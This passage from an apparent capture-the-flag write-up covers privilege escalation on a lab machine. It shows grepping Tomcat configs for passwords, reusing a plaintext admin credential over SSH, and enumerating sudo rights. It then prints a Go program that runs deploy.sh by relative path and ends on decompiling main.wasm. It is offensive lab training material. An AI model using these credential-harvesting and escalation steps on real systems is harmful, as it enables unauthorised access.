4 privesc
Tomcat config files are located under $TOMCAT_HOME/conf/
tomcat@ophiuchi:~/conf$ grep -rnw . -ie password --color=auto --color=always 2>/dev/null
<ie password --color=auto --color=always 2>/dev/null
./tomcat-users.xml:22:<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
./tomcat-users.xml:26: you must define such a user - the username and password are arbitrary. It is
./tomcat-users.xml:41: <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
./tomcat-users.xml:42: <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
./tomcat-users.xml:43: <user username="role1" password="<must-be-changed>" roles="role1"/>
./tomcat-users.xsd:45: <xs:attribute name="password" type="xs:string" />
./tomcat-users.xml:22:<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
We can try SSH using admin:whythereisalimit
$ ssh admin@10.10.10.227
admin@ophiuchi:~$ whoami;id
admin
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
admin@ophiuchi:/opt/wasm-functions$ ls -la
total 3928
drwxr-xr-x 3 root root 4096 Oct 14 2020 .
drwxr-xr-x 5 root root 4096 Oct 14 2020 ..
drwxr-xr-x 2 root root 4096 Oct 14 2020 backup
-rw-r--r-- 1 root root 88 Oct 14 2020 deploy.sh
-rwxr-xr-x 1 root root 2516736 Oct 14 2020 index
-rw-rw-r-- 1 root root 522 Oct 14 2020 index.go
-rwxrwxr-x 1 root root 1479371 Oct 14 2020 main.wasm
admin@ophiuchi:/opt/wasm-functions$ cat index.go
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
Searching online came across WebAssemblyToolkit (https://github.com/WebAssembly/wabt)
Using this we can change main.wasm to readable formats (wat)
https://developer.mozilla.org/en-US/docs/WebAssembly/Understanding_the_text_formatUsing wasm2wat
Last updated